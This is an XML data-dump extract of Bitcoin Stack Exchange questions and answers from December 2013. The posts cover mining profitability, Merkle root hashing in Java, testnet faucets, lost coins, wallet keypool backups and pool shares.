  <row Id="17676" PostTypeId="1" CreationDate="2013-12-01T18:17:42.920" Score="0" ViewCount="223" Body="&lt;p&gt;Let's use the following block for a reference:&#xA;&lt;a href=&quot;http://blockexplorer.com/rawblock/00000000000000001e8d6829a8a21adc5d38d0a473b144b6765798e61f98bd1d&quot; rel=&quot;nofollow&quot;&gt;http://blockexplorer.com/rawblock/00000000000000001e8d6829a8a21adc5d38d0a473b144b6765798e61f98bd1d&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to my understanding (correct if wrong), I need to perform a byteSwap on each child, perform a hexToAscii, concatenate, then perform a double sha256.  I am doing this in JAVA, an suspect that my hexToAscii method is off. I was hoping I could give some results to see if someone can verify where the problem is.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;String childNode = &quot;0d0eb1b4c4b49fd27d100e9cce555d4110594661b1b8ac05a4b8879c84959bd4&quot;;&#xA;byteSwap(childNode); //d49b95849c87b8a405acb8b161465910415d55ce9c0e107dd29fb4c4b4b10e0d&#xA;hexToAscii(byteSwap(childNode)); //Ô¸¤¬¸±aFYA]UÎ}Ò´Ä´±&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And just to verify that my hexToAscii result is correct, can someone check the sha256 hash of the result? I feel that there are encoding issues with my implementation&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sha256(hexToAscii(byteSwap(childNode)));&#xA;//e799dc13aaeaa1c2797596f5d4bf6c408b97a8595bf32c27c9186125454560d9&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Would appreciate any advice if something seems off! Thanks!&lt;/p&gt;&#xA;" OwnerUserId="9820" LastEditorUserId="9820" LastEditDate="2013-12-01T20:40:09.493" LastActivityDate="2013-12-01T20:40:09.493" Title="Verifying mrkl_root from two children nodes in JAVA" Tags="|java|merkle-tree|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17677" PostTypeId="2" ParentId="17611" CreationDate="2013-12-01T18:22:57.967" Score="0" Body="&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt; (From comments, this was the real issue):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are you doing Litecoin or Bitcoin mining? Looks like middlecoin.com does Litecoin. The hash rate for Litecoin will be much slower due to the scrypt algorithm, which is slower to process than Bitcoin sha2. The bitcoin.it wiki page is showing hashrates for Bitcoin mining.  That would explain the 1000x factor difference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;:  (first answer)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strike&gt;When was the chart made?  Those results captured on that page would have been accurate when the cumulative mining strength of the network was at a particular difficulty.  Note that the difficulty is increasing quite rapidly so whatever you're using for mining is less effective than previous.&lt;/strike&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From comments below, I'm missing the point a bit, thanks for the clarifications.  Specifically, a device's hashrate remains the same no matter what difficulty the network is at.&lt;/p&gt;&#xA;" OwnerUserId="8956" LastEditorUserId="8956" LastEditDate="2013-12-02T18:00:49.527" LastActivityDate="2013-12-02T18:00:49.527" CommentCount="13" ContentLicense="CC BY-SA 3.0" />
  <row Id="17680" PostTypeId="1" CreationDate="2013-12-01T19:58:57.867" Score="-1" ViewCount="194" Body="&lt;p&gt;I was wondering whether me and a friend (both with powerful graphic cards), would be able to choose to work on the same block, therefore solving it faster and theoretically earning bitcoins faster? Thanks&lt;/p&gt;&#xA;" OwnerUserId="9828" LastActivityDate="2013-12-01T20:17:24.780" Title="Making Bitcoins faster with friends?" Tags="|mining-pools|" AnswerCount="1" CommentCount="0" ClosedDate="2013-12-07T12:05:46.193" ContentLicense="CC BY-SA 3.0" />
  <row Id="17681" PostTypeId="2" ParentId="17680" CreationDate="2013-12-01T20:17:24.780" Score="3" Body="&lt;p&gt;Yes. Point is that you will earn twice of 0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Graphics cards are too slow by now by a factor of around 1000 - mining is done using specialized chips these days. And twice &quot;awfully terribly ridiculously slow&quot; is STILL &quot;awfully terribly ridiculously slow&quot;.&lt;/p&gt;&#xA;" OwnerUserId="103" LastActivityDate="2013-12-01T20:17:24.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17682" PostTypeId="1" AcceptedAnswerId="17685" CreationDate="2013-12-01T20:36:32.260" Score="1" ViewCount="1236" Body="&lt;p&gt;If I have 1000 (or more) machines with CPU (and no GPU) solo mining (12 hours/day), will it be profitable?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Forget about the costs of electricity, etc...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to know if doing more than 1000 machines solo mining (CPU) will win any bitcoin?&lt;/p&gt;&#xA;" OwnerUserId="9829" LastEditorUserId="5406" LastEditDate="2016-03-16T11:03:42.907" LastActivityDate="2016-03-16T11:03:42.907" Title="More than 1000 CPU solo mining = bitcoin?" Tags="|cgminer|mining-profitability|solo-mining|cpu-mining|" AnswerCount="1" CommentCount="2" ClosedDate="2015-11-07T18:16:44.063" ContentLicense="CC BY-SA 3.0" />
  <row Id="17683" PostTypeId="2" ParentId="17673" CreationDate="2013-12-01T20:37:40.293" Score="3" Body="&lt;p&gt;You shoud instead use cudaminer for this. I use the same card and I have a mining rate of 150khash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason why you get a low mining rate is because Nvidia cards use CUDA cores to do most of their calculation and most of the miners do not use them since the best graphic cards for mining are AMD cards (and they do not have CUDA cores).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I dont know where you saw that 112 000 Khash/s (mostly because you forgot to give the link) but I doubt that a single card could do that with litecoins (but its possible with Bitcoins).&lt;/p&gt;&#xA;" OwnerUserId="5874" LastActivityDate="2013-12-01T20:37:40.293" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17685" PostTypeId="2" ParentId="17682" CreationDate="2013-12-01T21:33:39.120" Score="3" Body="&lt;p&gt;If those are reasonably decent CPUs, they could be able to mine up to 20 Mhash/s each. Together, that's 20 Ghash/s, or the same as a small ASIC, and using massively more electricity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As of december 2013, with the difficulty at 707408283, this means that you'd have approximately a 0.85% chance per month to win a block (worth 25 BTC).&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2013-12-01T21:33:39.120" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17686" PostTypeId="1" AcceptedAnswerId="17699" CreationDate="2013-12-01T21:56:29.647" Score="0" ViewCount="334" Body="&lt;p&gt;I recently discovered the Hash rate of my graphic card is different with Bitcoins than Litecoins. I understand this is due to the difference in the algorithm. Bitcoin has a double sha256 instead of Litecoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I have a Miner of 1THash/s at Bitcoins what will be the average hash rate I get on calculating the Litecoins?&lt;/p&gt;&#xA;" OwnerUserId="9074" LastActivityDate="2013-12-02T03:56:39.923" Title="Difference in hash rates between Bitcoins and Litecoins calculation" Tags="|litecoin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17687" PostTypeId="1" CreationDate="2013-12-01T22:02:34.873" Score="-1" ViewCount="14853" Body="&lt;p&gt;Would it be worth buying a Mac Pro (higher end model) and using that to mine BitCoin? If so then what should I expect in return as far as mining goes?&lt;/p&gt;&#xA;" OwnerUserId="9830" LastEditorUserId="5406" LastEditDate="2016-04-25T21:31:16.077" LastActivityDate="2016-04-25T21:31:16.077" Title="Using Mac Pro for Mining" Tags="|mining-pools|mining-profitability|mac|" AnswerCount="3" CommentCount="0" ClosedDate="2013-12-02T09:36:36.403" ContentLicense="CC BY-SA 3.0" />
  <row Id="17688" PostTypeId="2" ParentId="17629" CreationDate="2013-12-01T22:16:42.680" Score="0" Body="&lt;p&gt;Electrum is the best way I can think of.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The shop owner have an offline wallet, then set ups seedless wallets in shops' computers. He can have a private key imported from another wallet to be able to have coins for reimbursements. As the seedless wallet is a watch-only wallet that can generate new public addresses, employees can have a new address for each purchase.&lt;/p&gt;&#xA;" OwnerUserId="2467" LastActivityDate="2013-12-01T22:16:42.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17689" PostTypeId="2" ParentId="17687" CreationDate="2013-12-01T22:34:14.370" Score="3" Body="&lt;p&gt;No it wouldn't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mining with CPU or GPU is worthless, and if your goal is buying some non-standalone ASIC, your best bet is a PC which uses as few energy as possible.&lt;/p&gt;&#xA;" OwnerUserId="196" LastEditorUserId="196" LastEditDate="2013-12-01T23:09:43.727" LastActivityDate="2013-12-01T23:09:43.727" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="17690" PostTypeId="1" AcceptedAnswerId="17691" CreationDate="2013-12-01T23:11:55.140" Score="33" ViewCount="50680" Body="&lt;p&gt;I'm building a project with bitcoins and want to test it with testnet. However, I don't have any testnet bitcoins, and despite the difficulty being less than 100 usually, I still haven't been able to mine a block on my PC (CPU only) after a day. Is there anywhere I could get just some small amount of testnet bitcoins for testing? &lt;/p&gt;&#xA;" OwnerUserId="9512" LastEditorUserId="5757" LastEditDate="2015-02-11T03:49:20.763" LastActivityDate="2023-11-22T03:11:01.990" Title="Is there any where to get free testnet Bitcoins?" Tags="|testnet|faucets|" AnswerCount="11" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17691" PostTypeId="2" ParentId="17690" CreationDate="2013-12-01T23:18:29.583" Score="18" Body="&lt;p&gt;(Link to faucet URL removed... please see the &lt;a href=&quot;https://bitcoin.stackexchange.com/a/119937/516&quot;&gt;community wiki answer further down the page&lt;/a&gt; for links of faucets.)&lt;/p&gt;&#xA;&lt;p&gt;The term &amp;quot;faucet&amp;quot; has been used for quite some time for a site giving away small quantities of coins for free. If all links in this page stop working, a web search for &amp;quot;bitcoin testnet faucet&amp;quot; may find a different site.&lt;/p&gt;&#xA;" OwnerUserId="516" LastEditorUserId="516" LastEditDate="2023-11-22T03:11:01.990" LastActivityDate="2023-11-22T03:11:01.990" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="17692" PostTypeId="2" ParentId="12165" CreationDate="2013-12-01T23:55:23.537" Score="0" Body="&lt;p&gt;Have you checked your disc allocation?  The entire Bitcoin db is in the neighbourhood of 14gb (as of today, 2/12/2013).  I moved the Bitcoin db to a folder on a different partition (with over 100gb of space) and the that resolved the issue for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The error message isn't very helpful, and neither is Windoze, but in my case the amount of free space on disc appears to have been the issue.&lt;/p&gt;&#xA;" OwnerUserId="9588" LastActivityDate="2013-12-01T23:55:23.537" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17693" PostTypeId="2" ParentId="11965" CreationDate="2013-12-02T00:17:21.983" Score="2" Body="&lt;p&gt;Here are more options to access data:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://btc-e.com/api/2/btc_usd/depth&quot; rel=&quot;nofollow&quot;&gt;https://btc-e.com/api/2/btc_usd/depth&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://btc-e.com/api/2/btc_usd/trades&quot; rel=&quot;nofollow&quot;&gt;https://btc-e.com/api/2/btc_usd/trades&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9837" LastActivityDate="2013-12-02T00:17:21.983" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17694" PostTypeId="1" CreationDate="2013-12-02T00:48:49.447" Score="2" ViewCount="3478" Body="&lt;p&gt;Since there are a finite number of Bitcoins that can be created, I am wondering what happens if some of the coins are lost. My questions are three fold:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;How do you define a &quot;lost&quot; coin? For example if a bank note that was in my pocket is not there anymore (provided that I did not spend it), I know I lost it.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;How does the network know a coin is lost?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;How would the remaining coins value if some are lost? For example, assume there are 10 coins in total in circulation each worth 100 usd, the total spending power is 1000 usd. If say 2 of them are lost, are they assumed to be taken out of the circulation for good or someone can pick them up and reuse them. I guess in the first case the value of the remaining coins are worth 125 usd each due to fewer coins in circulation while in the latter case the value of each case would stay the same (this comes back to the second question of if the network is aware of the lost coins).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I come from non-programming background so appreciate clarification.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="9842" LastEditorUserId="5406" LastEditDate="2016-08-31T12:16:23.827" LastActivityDate="2020-11-26T19:50:01.470" Title="What happens if Bitcoins are lost" Tags="|economic-theory|shrinking-money-supply|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17696" PostTypeId="2" ParentId="17694" CreationDate="2013-12-02T01:20:15.487" Score="4" Body="&lt;p&gt;Since the &quot;ownership&quot; of bitcoins is essentially tied to having knowledge of the private key for the address they are stored against, it's very difficult to prove that nobody knows the private key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, it is possible to send bitcoins to an address with no private key, essentially destroying them. Details here: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1851/how-to-generate-a-valid-bitcoin-address-for-destroying-bitcoins&quot;&gt;How to generate a valid bitcoin address for destroying bitcoins?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To answer your 3 questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;There is no accepted definition of a lost bitcoin that I'm aware of, and it's unlikely there will be one because of the difficulty in providing proof.&lt;/li&gt;&#xA;&lt;li&gt;The network doesn't know whether the private key for some bitcoins have been lost.&lt;/li&gt;&#xA;&lt;li&gt;The value is based on market demand. From this perspective, bitcoins that aren't currently offered for sale are the same as lost coins until they are offered up for sale, at which point the price is affected. Though individuals do have the capability to prove they own bitcoins without offering them for sale, they rarely do so, so you'll probably never be able to find out much about which unspent bitcoins are still being quietly held and which are lost.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="516" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2013-12-02T01:20:15.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17697" PostTypeId="2" ParentId="17694" CreationDate="2013-12-02T01:24:12.220" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;Bitcoins are typically lost (as in, inaccessible to humanity, rather than via theft) by the owner losing access to their wallet (ie their wallet.dat file gets corrupted and they have no backups), or accidentally transferring their coins to the wrong address.  In either case, coins are contained in an address that nobody knows the private key to.  The coins aren't completely lost, in that they still exist on the blockchain, but it's statistically impossible to guess the private key to the address they are on.&lt;/li&gt;&#xA;&lt;li&gt;There's not really a way to &quot;know&quot; a coin is lost, but guesses can be made.  For example, if Blockchain.info (a blockchain analysis website) finds a private key with coins that haven't been moved for a long time, people can speculate that account may have been lost.  But that's not that certain, as the owner could just be storing it.  This is why you sometimes hear a figure about n percent of bitcoins have been lost.  But it's a pretty weak guess.&lt;/li&gt;&#xA;&lt;li&gt;Lost coins would cause deflation, meaning the other coins are worth more.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Since bitcoins are so divisible, it'd be very unlikely we'd lose every unit of bitcoin after all the coins have been mined.  And so long as one unit of bitcoin remains, the protocol could be updated to divide it even more.&lt;/p&gt;&#xA;" OwnerUserId="9762" LastActivityDate="2013-12-02T01:24:12.220" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17698" PostTypeId="2" ParentId="17694" CreationDate="2013-12-02T01:29:48.940" Score="3" Body="&lt;p&gt;You should check &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/16624/does-bitcoin-account-for-deleted-bitcoins-over-time/16631#16631&quot;&gt;this related question&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In summary:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) A &quot;lost bitcoin&quot; is any unspent BTC balance in an account for which the private key has been lost. Without the private key, that balance cannot be spent again. If you lose your wallet file, you are effectively losing all the private keys for the accounts (addresses) created by that wallet. It doesn't mean that the balance cannot change, since the &quot;lost&quot; account can actually receive new funds (if funds are sent to its public address), but without the private key those funds will become equally inaccessible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) It's impossible for the network to know when a private key was lost. A balance can remain unspent for a very long time, but it could be by the owner's choice. So there is really no way to tell. No one can flag a wallet/account as lost, even the owner. This is because without the private key you cannot prove to be the owner anyway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) The Bitcoin price is simply a result of current demand/supply for it. You could say that the more lost coins, the less supply there is, so the prices will naturally rise, but that is simply a by-product of normal trading.&lt;/p&gt;&#xA;" OwnerUserId="8728" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2014-01-22T13:39:07.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17699" PostTypeId="2" ParentId="17686" CreationDate="2013-12-02T01:46:01.973" Score="0" Body="&lt;p&gt;If you are using general purpose mining hardware (i.e. CPU, GPU) then it really depends on lots of factors, not only hardware, but also mining software and even its configuration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For details on mining hardware you can check the tables for &lt;a href=&quot;https://en.bitcoin.it/wiki/Mining_hardware_comparison&quot; rel=&quot;nofollow&quot;&gt;Bitcoin&lt;/a&gt; and &lt;a href=&quot;https://litecoin.info/Mining_hardware_comparison&quot; rel=&quot;nofollow&quot;&gt;Litecoin&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But with the inevitable introduction of ASIC miners (already for Bitcoin, and soon for Litecoin) the question is actually irrelevant.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ASIC miners can only work with the hashing function for which they were designed.&#xA;So a Bitcoin ASIC miner (SHA256) cannot mine Litecoin (scrypt) at all, and vice-versa.&lt;/p&gt;&#xA;" OwnerUserId="8728" LastEditorUserId="8728" LastEditDate="2013-12-02T03:56:39.923" LastActivityDate="2013-12-02T03:56:39.923" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17700" PostTypeId="2" ParentId="17687" CreationDate="2013-12-02T01:59:17.290" Score="2" Body="&lt;p&gt;@Lohoris did not stress it enough. Do not invest on CPU/GPU hardware with the intent of mining Bitcoin. What you'll spend on electricity will be several times more than the return in Bitcoin (yes, that's how little BTC you will make).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even low-end ASICs (which are several orders of magnitude more Hash/Watt efficient than CPU/GPU miners) are barely breaking even, even after the price reached 1000USD+. I know because I have one!&lt;/p&gt;&#xA;" OwnerUserId="8728" LastActivityDate="2013-12-02T01:59:17.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17701" PostTypeId="1" CreationDate="2013-12-02T01:59:17.447" Score="2" ViewCount="241" Body="&lt;p&gt;On the btc-e most Sell and Buy Orders are with fraction numbers:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;price   BTC USD&#xA;922.1   0.01    9.221&#xA;926.002 0.111922    103.63999584&#xA;928.127 0.23490692  218.02345493&#xA;928.128 0.0227344   21.1004332&#xA;928.129 0.0227444   21.10973722&#xA;928.725 0.78773138  731.58582589&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;why is nearly none selling rounded up amounts like 0.01 or 0.5 but instead 0.111992?&lt;/p&gt;&#xA;" OwnerUserId="3236" LastActivityDate="2013-12-05T17:21:55.660" Title="Why are there barely rounded values on btc-e?" Tags="|btce|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17704" PostTypeId="1" AcceptedAnswerId="17708" CreationDate="2013-12-02T03:26:55.070" Score="3" ViewCount="478" Body="&lt;p&gt;I read this paragraph from bitcoin.it but I don't get it completely.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The wallet contains a pool of queued keys. By default there are 100&#xA;  keys in the key pool. The size of the pool is configurable using the&#xA;  &quot;-keypool&quot; command line argument. When you need an address for&#xA;  whatever reason (send, “new address”, generation, etc.), the key is&#xA;  not actually generated freshly, but taken from this pool. A brand new&#xA;  address is generated to fill the pool back to 100. So when a backup is&#xA;  first created, it has all of your old keys plus 100 unused keys. After&#xA;  sending a transaction, it has 99 unused keys. &lt;strong&gt;After a total of 100&#xA;  new-key actions, you will start using keys that are not in your&#xA;  backup. Since the backup does not have the private keys necessary for&#xA;  authorizing spends of these coins, restoring from the old backup will&#xA;  cause you to lose Bitcoins&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Can someone explain this in a clear way, especially the bold parts?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note: Since Bitcoin Core uses deterministic wallets (BIP32) now, this behavior &lt;strong&gt;does not apply to new wallets&lt;/strong&gt; created with Bitcoin Core versions 0.13.0 and newer. It &lt;strong&gt;does apply to old wallets&lt;/strong&gt; created with previous versions that were carried over to the new versions of Bitcoin Core!&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="9853" LastEditorUserId="5406" LastEditDate="2017-01-06T13:40:48.660" LastActivityDate="2017-01-06T13:40:48.660" Title="What situations will you lose your bitcoins during backup?" Tags="|bitcoin-core|private-key|backup|keypool|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17706" PostTypeId="2" ParentId="17687" CreationDate="2013-12-02T03:30:25.757" Score="0" Body="&lt;p&gt;If you're asking if it's worth buying one just for mining? Absolutely not. For mining purposes there's nothing special about the MP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When it comes to mining the simplest way to express how fast you can mine is that ASICs are faster than GPUs which are faster than CPUs. There is of course variation within those categories, but in general that's what you're looking at.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, when you are trying to figure your return on investment if your question was &quot;I have to buy a mac pro for some other purpose, would it be worth mining on it?&quot; then maybe, assuming there's some software supporting the GPU set in it. Then all you'd have to do is compare the difference between the wattage it consumes while you're mining with what your return is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you were asking because you have $3000 burning a hole in your pocket and you're thinking that the MP will still be useful if bitcoin valuation plummets or someone releases some low-cost mining hardware out of nowhere - no, still probably not. Because you could simply pick up some lower cost ASIC hardware that would do just as well as the MP for $300 and then still have the opportunity cost of that other $2700.&lt;/p&gt;&#xA;" OwnerUserId="9852" LastActivityDate="2013-12-02T03:30:25.757" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17708" PostTypeId="2" ParentId="17704" CreationDate="2013-12-02T03:45:06.127" Score="0" Body="&lt;p&gt;When you do certain actions (usually a send), a new key is generated. Your backup pre-generates 100 of these keys. Once you need more than 100 keys generated, your backup no longer knows about the new keys. This means you should perform backups regularly, at least every 100 transactions. &lt;/p&gt;&#xA;" OwnerUserId="1873" LastActivityDate="2013-12-02T03:45:06.127" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17709" PostTypeId="1" CreationDate="2013-12-02T04:18:53.653" Score="0" ViewCount="426" Body="&lt;p&gt;It all started the other day when I sent some coins to Bitcoin-Qt, a 'safer' wallet ... was so slow to sync and was crashing et cetera.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, I imported the wallet.dat to blockchain.info opening up a mywallet(blockchain) there. I can see the coins in the wallet now, but I can't send them (no access to send option), which is what I have to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to resolve this?&lt;/p&gt;&#xA;" OwnerUserId="9800" LastEditorUserId="5406" LastEditDate="2014-06-17T21:41:07.007" LastActivityDate="2014-06-17T21:41:07.007" Title="Moved Bitcoin-Qt wallet to blockchain - can see my funds but can't send them?" Tags="|blockchain.info|lost-bitcoins|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="17710" PostTypeId="2" ParentId="17537" CreationDate="2013-12-02T04:52:39.057" Score="1" Body="&lt;p&gt;I had the same trouble adding funds to btc-e. Best way to do it is using a wiretransfer. They give you the information you need for your bank to send funds to your account on btc-e. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However the way I added funds is this creat an account with www.virwox.com . You can add USD from your credit card onto your account on the website. From then you have to trade in USD for linden dollers. From there you can transfer the linden dollers into bitcoins. Then send the bitcoins to your btc-e account and there you have it! The most complicated way to get funds onto btc-e. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Depending on how long you have been a member on virwox is dependent how much you can transfer from your credit card. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason other sites don't allow adding through use of debit or credit cards for cryptocurrency is because they have a non refund system where credit cards and debit cards have a refund system in place directly contradicting the websites terms and agreements. &lt;/p&gt;&#xA;" OwnerUserId="9857" LastActivityDate="2013-12-02T04:52:39.057" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17711" PostTypeId="1" CreationDate="2013-12-02T05:18:58.643" Score="12" ViewCount="52239" Body="&lt;p&gt;I am running GUIMiner and Triplemining server. I currently have just under 100 &quot;shares&quot; accepted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What does this mean? What are accepted shares used for? How do accepted shares relate to &quot;blocks&quot;? How does this relate to a Bitcoin?&lt;/p&gt;&#xA;" OwnerUserId="9859" LastEditorUserId="5406" LastEditDate="2016-03-15T09:30:23.317" LastActivityDate="2016-03-15T09:30:23.317" Title="What does &quot;accepted shares&quot; mean?" Tags="|terminology|mining-pool-shares|guiminer|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17712" PostTypeId="1" AcceptedAnswerId="17714" CreationDate="2013-12-02T05:28:36.570" Score="1" ViewCount="282" Body="&lt;p&gt;Do hosted wallet services located in the USA need to register with the fenCEN as a MSB?&lt;/p&gt;&#xA;" OwnerUserId="7334" LastEditorUserId="7334" LastEditDate="2014-01-06T19:54:26.380" LastActivityDate="2014-01-06T19:54:26.380" Title="Are bitcoin wallets money service businesses (MSB)?" Tags="|legal|" AnswerCount="1" CommentCount="0" ClosedDate="2013-12-31T01:11:01.053" ContentLicense="CC BY-SA 3.0" />
  <row Id="17713" PostTypeId="2" ParentId="12165" CreationDate="2013-12-02T05:39:32.367" Score="1" Body="&lt;p&gt;I cannot believe nobody posted the obvious....... please go to your %appdata% folder then roaming. then delete everything but the wallet.file, then and only then, un-install the program and re-install it. i am 99.999999999999999% sure this will solve your problem. i have worked a ton with the QT source code and am quite familiar with it. &lt;/p&gt;&#xA;" OwnerUserId="9861" LastActivityDate="2013-12-02T05:39:32.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17714" PostTypeId="2" ParentId="17712" CreationDate="2013-12-02T05:43:18.813" Score="1" Body="&lt;p&gt;If the business is based in the US, yes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: IANAL, but in my opinion a wallet service clearly falls into the category of &lt;em&gt;money transmitter&lt;/em&gt; according to &lt;a href=&quot;http://fincen.gov/statutes_regs/guidance/html/FIN-2013-G001.html&quot; rel=&quot;nofollow&quot;&gt;FinCEN's virtual currency regulations&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="8728" LastEditorUserId="8728" LastEditDate="2013-12-03T13:48:32.377" LastActivityDate="2013-12-03T13:48:32.377" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17715" PostTypeId="2" ParentId="17711" CreationDate="2013-12-02T05:50:13.693" Score="14" Body="&lt;p&gt;An accepted share represents work that your miner did towards a round in a mining pool. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the pool finds a block, it distributes the block reward (i.e. 25BTC) to the miners according to how many shares they have contributed during that round. The more shares you contributed, the more payback you get.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is simply a way to keep score, and to attribute the reward proportionally to the amount of computing power that each miner contributed to the pool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: &quot;accepted share&quot; is one which is valid at the time the pool receives the work from the miner, but sometimes the work arrives too late and a new block has replaced the previous one. In these cases you will have some &quot;invalid shares&quot; which don't count towards the revenue share.&lt;/p&gt;&#xA;" OwnerUserId="8728" LastEditorUserId="8728" LastEditDate="2013-12-02T05:57:30.133" LastActivityDate="2013-12-02T05:57:30.133" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17716" PostTypeId="2" ParentId="17704" CreationDate="2013-12-02T05:59:00.230" Score="0" Body="&lt;p&gt;You don't care about transactions (these are stored online)&#xA;You just have to care about your private keys for your addresses, that is the only important information stored in the wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The piece of documentation you referenced speaks about a feature in bitcoin client, which generates 100 keys in advance, thus adding a new address takes the key from the stock. If your wallet is destroyed but you have a backup of the wallet, and you have some money on some addresses, which have been added to your wallet later than the time of creation of the  backup, you'll be still able recover these money. That is the point of the feature.&lt;/p&gt;&#xA;" OwnerUserId="6858" LastActivityDate="2013-12-02T05:59:00.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
